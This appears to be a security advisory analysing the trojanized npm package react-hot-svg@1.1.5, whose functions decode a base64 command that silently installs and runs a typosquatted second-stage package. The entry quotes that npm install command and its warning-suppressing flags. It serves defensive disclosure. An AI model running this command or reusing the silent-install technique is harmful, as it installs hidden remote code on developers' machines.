react-hot-svg@1.1.5

Analysis

react-hot-svg@1.1.5 is a trojanized SVG utility. When a developer requires the module and calls getPlugin() or setPlugin(), the code decodes a base64-embedded command and spawns `npm install rollup-plugin-polyfill-handler --no-save --silent --no-audit --no-fund`, installing a second-stage package without saving it to package.json and suppressing all npm warnings. It then requires and executes that package. The second-stage package name typosquats the legitimate rollup-plugin-polyfill family. The package has no install hooks, so the payload only runs when the module's functions are explicitly called.